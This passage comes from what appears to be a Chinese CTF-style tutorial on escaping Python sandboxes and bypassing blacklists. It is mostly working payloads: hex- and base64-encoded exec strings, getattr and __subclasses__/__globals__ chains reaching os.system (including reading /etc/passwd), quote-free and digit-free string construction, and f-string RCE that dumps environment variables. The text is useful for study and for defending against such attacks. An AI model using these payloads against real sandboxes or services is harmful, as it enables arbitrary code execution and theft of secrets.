class="built_in">print</span>(octal_string)</span><br></pre></td></tr></table></figure></div><p>十六进制：</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">exec</span>(<span class="string">&quot;\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29&quot;</span>)</span><br></pre></td></tr></table></figure></div><p>exp:</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">s = <span class="string">&quot;eval(eval(list(dict(v_a_r_s=True))[len([])][::len(list(dict(aa=()))[len([])])])(__import__(list(dict(b_i_n_a_s_c_i_i=1))[False][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b___b_a_s_e_6_4=1))[False][::len(list(dict(aa=()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=True))[False]))&quot;</span></span><br><span class="line">octal_string = <span class="string">&quot;&quot;</span>.join([<span class="string">f&quot;\\x<span class="subst">&#123;<span class="built_in">hex</span>(<span class="built_in">ord</span>(c))[<span class="number">2</span>:]&#125;</span>&quot;</span> <span class="keyword">for</span> c <span class="keyword">in</span> s])</span><br><span class="line"><span class="built_in">print</span>(octal_string)</span><br></pre></td></tr></table></figure></div><h5 id="其他编码"><a class="markdownIt-Anchor" href="#其他编码">#</a> 其他编码</h5><p>hex、rot13、base32 等。</p><h4 id="过滤了属性名或者函数名"><a class="markdownIt-Anchor" href="#过滤了属性名或者函数名">#</a> 过滤了属性名或者函数名</h4><p>在 payload 的构造中，我们大量的使用了各种类中的属性，例如  <code>__class__</code> 、 <code>__import__</code>  等。</p><h5 id="getattr-函数"><a class="markdownIt-Anchor" href="#getattr-函数">#</a> getattr 函数</h5><p>getattr 是 python 的内置函数，用于获取对象的属性或方法，其语法如下：</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">getattr</span>(<span class="built_in">object</span>,name[,default])</span><br></pre></td></tr></table></figure></div><p>这里，object 是对象，name 是字符串，代表要获取的属性的名称。如果提供了 default 参数，当属性不存在时会返回这个值，否则会抛出 AttributeError。</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">getattr</span>(&#123;&#125;,<span class="string">&#x27;__class__&#x27;</span>)</span><br><span class="line">&lt;<span class="keyword">class</span> <span class="string">&#x27;dict&#x27;</span>&gt;</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">getattr</span>(os,<span class="string">&#x27;system&#x27;</span>)</span><br><span class="line">&lt;built-<span class="keyword">in</span> function system&gt;</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">getattr</span>(os,<span class="string">&#x27;system&#x27;</span>)(<span class="string">&#x27;cat /etc/passwd&#x27;</span>)</span><br><span class="line">root:x:<span class="number">0</span>:<span class="number">0</span>:root:/root:/usr/<span class="built_in">bin</span>/zsh</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">getattr</span>(os,<span class="string">&#x27;system111&#x27;</span>,os.system)(<span class="string">&#x27;cat /etc/passwd&#x27;</span>)</span><br><span class="line">root:x:<span class="number">0</span>:<span class="number">0</span>:root:/root:/usr/<span class="built_in">bin</span>/zsh</span><br></pre></td></tr></table></figure></div><p>这样一来，就可以将 payload 中的属性名转化为字符串，字符串的变换方式多种多样，更易于绕过黑名单。</p><h5 id="__getattribute__-函数"><a class="markdownIt-Anchor" href="#__getattribute__-函数">#</a>  <code>__getattribute__</code>  函数</h5><p><code>__getattribute__</code>  于，它定义了当我们尝试获取一个对象的属性时应该进行的操作。</p><p>它的基本语法如下：</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">MyClass</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__getattribute__</span>(<span class="params">self, name</span>):</span><br></pre></td></tr></table></figure></div><p>getattr 函数在调用时，实际上就是调用这个类的  <code>__getattribute__</code>  方法。</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span>os.__getattribute__</span><br><span class="line">&lt;method-wrapper <span class="string">&#x27;__getattribute__&#x27;</span> of module <span class="built_in">object</span> at <span class="number">0x7f06a9bf44f0</span>&gt;</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>os.__getattribute__(<span class="string">&#x27;system&#x27;</span>)</span><br><span class="line">&lt;built-<span class="keyword">in</span> function system&gt;</span><br></pre></td></tr></table></figure></div><h5 id="__getattr__-函数"><a class="markdownIt-Anchor" href="#__getattr__-函数">#</a>  <code>__getattr__</code>  函数</h5><p><code>__getattr__</code>  是 Python 的一个特殊方法，当尝试访问一个对象的不存在的属性时，它就会被调用。它允许一个对象动态地返回一个属性值，或者抛出一个  <code>AttributeError</code>  异常。</p><p>如下是  <code>__getattr__</code>  方法的基本形式：</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">MyClass</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__getattr__</span>(<span class="params">self, name</span>):</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;You tried to get &#x27;</span> + name</span><br></pre></td></tr></table></figure></div><p>在这个例子中，任何你尝试访问的不存在的属性都会返回一个字符串，形如 “You tried to get X”，其中 X 是你尝试访问的属性名。</p><p>与  <code>__getattribute__</code>  不同， <code>__getattr__</code>  只有在<strong>属性查找失败</strong>时才会被调用，这使得  <code>__getattribute__</code>  可以用来更为全面地控制属性访问。</p><p>如果在一个类中同时定义了  <code>__getattr__</code>  和  <code>__getattribute__</code> ，那么无论属性是否存在， <code>__getattribute__</code>  都会被首先调用。只有当  <code>__getattribute__</code>  抛出  <code>AttributeError</code>  异常时， <code>__getattr__</code>  才会被调用。</p><p>另外，所有的类都会有 <code>__getattribute__</code> 属性，而不一定有 <code>__getattr__</code> 属性。</p><h5 id="__globals__-替换"><a class="markdownIt-Anchor" href="#__globals__-替换">#</a>  <code>__globals__</code>  替换</h5><p><code>__globals__</code>  可以用 func_globals 直接替换；</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;</span>.__class__.__mro__[<span class="number">2</span>].__subclasses__()[<span class="number">59</span>].__init__.__globals__</span><br><span class="line"><span class="string">&#x27;&#x27;</span>.__class__.__mro__[<span class="number">2</span>].__subclasses__()[<span class="number">59</span>].__init__.func_globals</span><br><span class="line"><span class="string">&#x27;&#x27;</span>.__class__.__mro__[<span class="number">2</span>].__subclasses__()[<span class="number">59</span>].__init__.__getattribute__(<span class="string">&quot;__glo&quot;</span>+<span class="string">&quot;bals__&quot;</span>)</span><br></pre></td></tr></table></figure></div><h5 id="__mro__-__bases__-__base__互换"><a class="markdownIt-Anchor" href="#__mro__-__bases__-__base__互换">#</a>  <code>__mro__</code> 、 <code>__bases__</code> 、 <code>__base__</code> 互换</h5><p>三者之间可以相互替换</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;</span>.__class__.__mro__[<span class="number">2</span>]</span><br><span class="line">[].__class__.__mro__[<span class="number">1</span>]</span><br><span class="line">&#123;&#125;.__class__.__mro__[<span class="number">1</span>]</span><br><span class="line">().__class__.__mro__[<span class="number">1</span>]</span><br><span class="line">[].__class__.__mro__[-<span class="number">1</span>]</span><br><span class="line">&#123;&#125;.__class__.__mro__[-<span class="number">1</span>]</span><br><span class="line">().__class__.__mro__[-<span class="number">1</span>]</span><br><span class="line">&#123;&#125;.__class__.__bases__[<span class="number">0</span>]</span><br><span class="line">().__class__.__bases__[<span class="number">0</span>]</span><br><span class="line">[].__class__.__bases__[<span class="number">0</span>]</span><br><span class="line">[].__class__.__base__</span><br><span class="line">().__class__.__base__</span><br><span class="line">&#123;&#125;.__class__.__base__</span><br></pre></td></tr></table></figure></div><h4 id="过滤-import"><a class="markdownIt-Anchor" href="#过滤-import">#</a> 过滤 import</h4><p>python 中除了可以使用 import 来导入，还可以使用  <code>__import__</code>  和  <code>importlib.import_module</code>  来导入模块</p><h5 id="__import__"><a class="markdownIt-Anchor" href="#__import__">#</a>  <code>__import__</code></h5><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">__import__</span>(<span class="string">&#x27;os&#x27;</span>)</span><br></pre></td></tr></table></figure></div><h5 id="importlibimport_module"><a class="markdownIt-Anchor" href="#importlibimport_module">#</a> importlib.import_module</h5><p>不过 importlib 也需要导入，所以有些鸡肋.</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> importlib</span><br><span class="line">importlib.import_module(<span class="string">&#x27;os&#x27;</span>).system(<span class="string">&#x27;ls&#x27;</span>)</span><br></pre></td></tr></table></figure></div><p>注意：importlib 需要进行导入之后才能够使用</p><h5 id="__loader__load_module"><a class="markdownIt-Anchor" href="#__loader__load_module">#</a>  <code>__loader__.load_module</code></h5><p>如果使用 audithook 的方式进行过滤，上面的两种方法就无法使用了，但是  <code>__loader__.load_module</code>  底层实现与 import 不同，因此某些情况下可以绕过.</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span>__loader__.load_module(<span class="string">&#x27;os&#x27;</span>)</span><br><span class="line">&lt;module <span class="string">&#x27;os&#x27;</span> (built-<span class="keyword">in</span>)&gt;</span><br></pre></td></tr></table></figure></div><h4 id="过滤了"><a class="markdownIt-Anchor" href="#过滤了">#</a> 过滤了 []</h4><p>如果中括号被过滤了，则可以使用如下的两种方式来绕过：</p><ol><li>调用 <code>__getitem__()</code>  函数直接替换；#  <code>[x]</code>  &lt;=&gt;  <code>__getitem__(x)</code></li><li>调用 pop () 函数（用于移除列表中的一个元素，默认最后一个元素，<strong>并且返回该元素的值</strong>）替换；</li></ol><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;</span>.__class__.__mro__[-<span class="number">1</span>].__subclasses__()[<span class="number">200</span>].__init__.__globals__[<span class="string">&#x27;__builtins__&#x27;</span>][<span class="string">&#x27;__import__&#x27;</span>](<span class="string">&#x27;os&#x27;</span>).system(<span class="string">&#x27;ls&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># __getitem__()替换中括号[]</span></span><br><span class="line"><span class="string">&#x27;&#x27;</span>.__class__.__mro__.__getitem__(-<span class="number">1</span>).__subclasses__().__getitem__(<span class="number">200</span>).__init__.__globals__.__getitem__(<span class="string">&#x27;__builtins__&#x27;</span>).__getitem__(<span class="string">&#x27;__import__&#x27;</span>)(<span class="string">&#x27;os&#x27;</span>).system(<span class="string">&#x27;ls&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># pop()替换中括号[]，结合__getitem__()利用</span></span><br><span class="line"><span class="string">&#x27;&#x27;</span>.__class__.__mro__.__getitem__(-<span class="number">1</span>).__subclasses__().pop(<span class="number">200</span>).__init__.__globals__.pop(<span class="string">&#x27;__builtins__&#x27;</span>).pop(<span class="string">&#x27;__import__&#x27;</span>)(<span class="string">&#x27;os&#x27;</span>).system(<span class="string">&#x27;ls&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="built_in">getattr</span>(<span class="string">&#x27;&#x27;</span>.__class__.__mro__.__getitem__(-<span class="number">1</span>).__subclasses__().__getitem__(<span class="number">200</span>).__init__.__globals__,<span class="string">&#x27;__builtins__&#x27;</span>).__getitem__(<span class="string">&#x27;__import__&#x27;</span>)(<span class="string">&#x27;os&#x27;</span>).system(<span class="string">&#x27;ls&#x27;</span>)</span><br></pre></td></tr></table></figure></div><h4 id="过滤了-2"><a class="markdownIt-Anchor" href="#过滤了-2">#</a> 过滤了 ‘’</h4><h5 id="str-函数"><a class="markdownIt-Anchor" href="#str-函数">#</a> str 函数</h5><p>如果过滤了引号，我们 payload 中构造的字符串会受到影响。其中一种方法是使用 str () 函数获取字符串，然后索引到预期的字符。将所有的字符连接起来就可以得到最终的字符串。</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span>().__class__.__new__</span><br><span class="line">&lt;built-<span class="keyword">in</span> method __new__ of <span class="built_in">type</span> <span class="built_in">object</span> at <span class="number">0x9597e0</span>&gt;</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">str</span>(().__class__.__new__)</span><br><span class="line"><span class="string">&#x27;&lt;built-in method __new__ of type object at 0x9597e0&gt;&#x27;</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">str</span>(().__class__.__new__)[<span class="number">21</span>]</span><br><span class="line"><span class="string">&#x27;w&#x27;</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">str</span>(().__class__.__new__)[<span class="number">21</span>]+<span class="built_in">str</span>(().__class__.__new__)[<span class="number">13</span>]+<span class="built_in">str</span>(().__class__.__new__)[<span class="number">14</span>]+<span class="built_in">str</span>(().__class__.__new__)[<span class="number">40</span>]+<span class="built_in">str</span>(().__class__.__new__)[<span class="number">10</span>]+<span class="built_in">str</span>(().__class__.__new__)[<span class="number">3</span>]</span><br><span class="line"><span class="string">&#x27;whoami&#x27;</span></span><br></pre></td></tr></table></figure></div><h5 id="chr-函数"><a class="markdownIt-Anchor" href="#chr-函数">#</a> chr 函数</h5><p>也可以使用 chr 加数字来构造字符串</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">chr</span>(<span class="number">56</span>)</span><br><span class="line"><span class="string">&#x27;8&#x27;</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">chr</span>(<span class="number">100</span>)</span><br><span class="line"><span class="string">&#x27;d&#x27;</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">chr</span>(<span class="number">100</span>)*<span class="number">40</span></span><br><span class="line"><span class="string">&#x27;dddddddddddddddddddddddddddddddddddddddd&#x27;</span></span><br></pre></td></tr></table></figure></div><h5 id="list-dict"><a class="markdownIt-Anchor" href="#list-dict">#</a> list + dict</h5><p>使用 dict 和 list 进行配合可以将变量名转化为字符串，但这种方式的弊端在于字符串中不能有空格等。</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">list</span>(<span class="built_in">dict</span>(whoami=<span class="number">1</span>))[<span class="number">0</span>] <span class="comment"># 返回whoami</span></span><br></pre></td></tr></table></figure></div><h5 id="__doc__"><a class="markdownIt-Anchor" href="#__doc__">#</a>  <code>__doc__</code></h5><p><code>__doc__</code>  变量可以获取到类的说明信息，从其中索引出想要的字符然后进行拼接就可以得到字符串：</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">().__doc__.find(<span class="string">&#x27;s&#x27;</span>)</span><br><span class="line">().__doc__[<span class="number">19</span>]+().__doc__[<span class="number">86</span>]+().__doc__[<span class="number">19</span>]</span><br></pre></td></tr></table></figure></div><h5 id="bytes-函数"><a class="markdownIt-Anchor" href="#bytes-函数">#</a> bytes 函数</h5><p>bytes 函数可以接收一个 ascii 列表，然后转换为二进制字符串，再调用 decode 则可以得到字符串</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">bytes</span>([<span class="number">115</span>, <span class="number">121</span>, <span class="number">115</span>, <span class="number">116</span>, <span class="number">101</span>, <span class="number">109</span>]).decode()</span><br></pre></td></tr></table></figure></div><h4 id="过滤了-3"><a class="markdownIt-Anchor" href="#过滤了-3">#</a> 过滤了 +</h4><p>过滤了 + 号主要影响到了构造字符串，假如题目过滤了引号和加号，构造字符串还可以使用 join 函数，初始的字符串可以通过 str () 进行获取。具体的字符串内容可以从  <code>__doc__</code>  中取，</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">str</span>().join(().__doc__[<span class="number">19</span>],().__doc__[<span class="number">23</span>])</span><br></pre></td></tr></table></figure></div><h4 id="过滤了数字"><a class="markdownIt-Anchor" href="#过滤了数字">#</a> 过滤了数字</h4><p>如果过滤了数字的话，可以使用一些函数的返回值获取。例如：<br>0： <code>int(bool([]))</code> 、 <code>Flase</code> 、 <code>len([])</code> 、 <code>any(())</code> <br>1： <code>int(bool([&quot;&quot;]))</code> 、 <code>True</code> 、 <code>all(())</code> 、 <code>int(list(list(dict(a၁=())).pop()).pop())</code></p><p>有了 0 之后，其他的数字可以通过运算进行获取：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">0 ** 0 == 1</span><br><span class="line">1 + 1 == 2</span><br><span class="line">2 + 1 == 3</span><br><span class="line">2 ** 2 == 4</span><br></pre></td></tr></table></figure></div><p>当然，也可以直接通过 repr 获取一些比较长字符串，然后使用 len 获取大整数。</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">len</span>(<span class="built_in">repr</span>(<span class="literal">True</span>))</span><br><span class="line"><span class="number">4</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">len</span>(<span class="built_in">repr</span>(<span class="built_in">bytearray</span>))</span><br><span class="line"><span class="number">19</span></span><br></pre></td></tr></table></figure></div><p>第三种方法，可以使用 len + dict + list 来构造，这种方式可以避免运算符的的出现</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">0</span> -&gt; <span class="built_in">len</span>([])</span><br><span class="line"><span class="number">2</span> -&gt; <span class="built_in">len</span>(<span class="built_in">list</span>(<span class="built_in">dict</span>(aa=()))[<span class="built_in">len</span>([])])</span><br><span class="line"><span class="number">3</span> -&gt; <span class="built_in">len</span>(<span class="built_in">list</span>(<span class="built_in">dict</span>(aaa=()))[<span class="built_in">len</span>([])])</span><br></pre></td></tr></table></figure></div><p>第四种方法: unicode</p><h4 id="过滤了空格"><a class="markdownIt-Anchor" href="#过滤了空格">#</a> 过滤了空格</h4><p>通过 (),[] 代替</p><h4 id="过滤了运算符"><a class="markdownIt-Anchor" href="#过滤了运算符">#</a> 过滤了运算符</h4><p>== 可以用 in 代替</p><p>or 可以用 | + -。。。- 来替换</p><p>例如</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> [(<span class="number">100</span>, <span class="number">100</span>, <span class="number">1</span>, <span class="number">1</span>), (<span class="number">100</span>, <span class="number">2</span>, <span class="number">1</span>, <span class="number">2</span>), (<span class="number">100</span>, <span class="number">100</span>, <span class="number">1</span>, <span class="number">2</span>), (<span class="number">100</span>, <span class="number">2</span>, <span class="number">1</span>, <span class="number">1</span>)]:</span><br><span class="line">    ans = i[<span class="number">0</span>]==i[<span class="number">1</span>] <span class="keyword">or</span> i[<span class="number">2</span>]==i[<span class="number">3</span>]</span><br><span class="line">    <span class="built_in">print</span>(<span class="built_in">bool</span>(<span class="built_in">eval</span>(<span class="string">f&#x27;<span class="subst">&#123;i[<span class="number">0</span>]==i[<span class="number">1</span>]&#125;</span> | <span class="subst">&#123;i[<span class="number">2</span>]==i[<span class="number">3</span>]&#125;</span>&#x27;</span>)) == ans)</span><br><span class="line">    <span class="built_in">print</span>(<span class="built_in">bool</span>(<span class="built_in">eval</span>(<span class="string">f&#x27;- <span class="subst">&#123;i[<span class="number">0</span>]==i[<span class="number">1</span>]&#125;</span> - <span class="subst">&#123;i[<span class="number">2</span>]==i[<span class="number">3</span>]&#125;</span>&#x27;</span>)) == ans)</span><br><span class="line">    <span class="built_in">print</span>(<span class="built_in">bool</span>(<span class="built_in">eval</span>(<span class="string">f&#x27;<span class="subst">&#123;i[<span class="number">0</span>]==i[<span class="number">1</span>]&#125;</span> + <span class="subst">&#123;i[<span class="number">2</span>]==i[<span class="number">3</span>]&#125;</span>&#x27;</span>)) == ans)</span><br></pre></td></tr></table></figure></div><p>and 可以用 &amp; * 替代</p><p>例如</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> [(<span class="number">100</span>, <span class="number">100</span>, <span class="number">1</span>, <span class="number">1</span>), (<span class="number">100</span>, <span class="number">2</span>, <span class="number">1</span>, <span class="number">2</span>), (<span class="number">100</span>, <span class="number">100</span>, <span class="number">1</span>, <span class="number">2</span>), (<span class="number">100</span>, <span class="number">2</span>, <span class="number">1</span>, <span class="number">1</span>)]:</span><br><span class="line">    ans = i[<span class="number">0</span>]==i[<span class="number">1</span>] <span class="keyword">and</span> i[<span class="number">2</span>]==i[<span class="number">3</span>]</span><br><span class="line">    <span class="built_in">print</span>(<span class="built_in">bool</span>(<span class="built_in">eval</span>(<span class="string">f&#x27;<span class="subst">&#123;i[<span class="number">0</span>]==i[<span class="number">1</span>]&#125;</span> &amp; <span class="subst">&#123;i[<span class="number">2</span>]==i[<span class="number">3</span>]&#125;</span>&#x27;</span>)) == ans)</span><br><span class="line">    <span class="built_in">print</span>(<span class="built_in">bool</span>(<span class="built_in">eval</span>(<span class="string">f&#x27;<span class="subst">&#123;i[<span class="number">0</span>]==i[<span class="number">1</span>]&#125;</span> * <span class="subst">&#123;i[<span class="number">2</span>]==i[<span class="number">3</span>]&#125;</span>&#x27;</span>)) == ans)</span><br></pre></td></tr></table></figure></div><h4 id="过滤了-4"><a class="markdownIt-Anchor" href="#过滤了-4">#</a> 过滤了 ()</h4><ol><li>利用装饰器 @</li><li>利用魔术方法，例如  <code>enum.EnumMeta.__getitem__</code></li></ol><h4 id="f-字符串执行"><a class="markdownIt-Anchor" href="#f-字符串执行">#</a> f 字符串执行</h4><p>f 字符串算不上一个绕过，更像是一种新的攻击面，通常情况下用来获取敏感上下文信息，例如过去环境变量</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">&#123;whoami.__class__.__dict__&#125;</span><br><span class="line">&#123;whoami.__globals__[os].__dict__&#125;</span><br><span class="line">&#123;whoami.__globals__[os].environ&#125;</span><br><span class="line">&#123;whoami.__globals__[sys].path&#125;</span><br><span class="line">&#123;whoami.__globals__[sys].modules&#125;</span><br><span class="line"></span><br><span class="line"># Access an element through several links</span><br><span class="line">&#123;whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__&#125;</span><br></pre></td></tr></table></figure></div><p>也可以直接 RCE</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="string">f&#x27;<span class="subst">&#123;<span class="built_in">__import__</span>(<span class="string">&quot;os&quot;</span>).system(<span class="string">&quot;whoami&quot;</span>)&#125;</span>&#x27;</span></span><br><span class="line">kali</span><br><span class="line"><span class="string">&#x27;0&#x27;</span></span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="string">f&quot;<span class="subst">&#123;__builtins__.<span class="built_in">__import__</span>(<span class="string">&#x27;os&#x27;</span>).__dict__[<span class="string">&#x27;popen&#x27;</span>](<span class="string">&#x27;ls&#x27;</span>).read()&#125;</span>&quot;</span></span><br></pre></td></tr></table></figure></div><h4 id="过滤了内建函数"><a class="markdownIt-Anchor" href="#过滤了内建函数">#</a> 过滤了内建函数</h4><h4 id="eval-list-dict-构造"><a class="markdownIt-Anchor" href="#eval-list-dict-构造">#</a> eval + list + dict 构造</h4><p>假如我们在构造 payload 时需要使用 str 函数、bool 函数、bytes 函数等，则可以使用 eval 进行绕过。</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">eval</span>(<span class="string">&#x27;str&#x27;</span>)</span><br><span class="line">&lt;<span class="keyword">class</span> <span class="string">&#x27;str&#x27;</span>&gt;</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">eval</span>(<span class="string">&#x27;bool&#x27;</span>)</span><br><span class="line">&lt;<span class="keyword">class</span> <span class="string">&#x27;bool&#x27;</span>&gt;</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">eval</span>(<span class="string">&#x27;st&#x27;</span>+<span class="string">&#x27;r&#x27;</span>)</span><br><span class="line">&lt;<span class="keyword">class</span> <span class="string">&#x27;str&#x27;</span>&gt;</span><br></pre></td></tr></table></figure></div><p>这样就可以将函数名转化为字符串的形式，进而可以利用字符串的变换来进行绕过。</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span><span class="built_in">eval</span>(<span class="built_in">list</span>(<span class="built_in">dict</span>(s_t_r=<span class="number">1</span>))[<span class="number">0</span>][::<span class="number">2</span>])</span><br><span class="line">&lt;<span class="keyword">class</span> <span class="string">&#x27;str&#x27;</span>&gt;</span><br></pre></td></tr></table></figure></div><p>这样一来，只要 list 和 dict 没有被禁，就可以获取到任意的内建函数。如果某个模块已经被导入了，则也可以获取这个模块中的函数。</p><h4 id="过滤了-和-如何获取函数"><a class="markdownIt-Anchor" href="#过滤了-和-如何获取函数">#</a> 过滤了。和 ，如何获取函数</h4><p>通常情况下，我们会通过点号来进行调用 <code>__import__('binascii').a2b_base64</code></p><p>或者通过 getattr 函数： 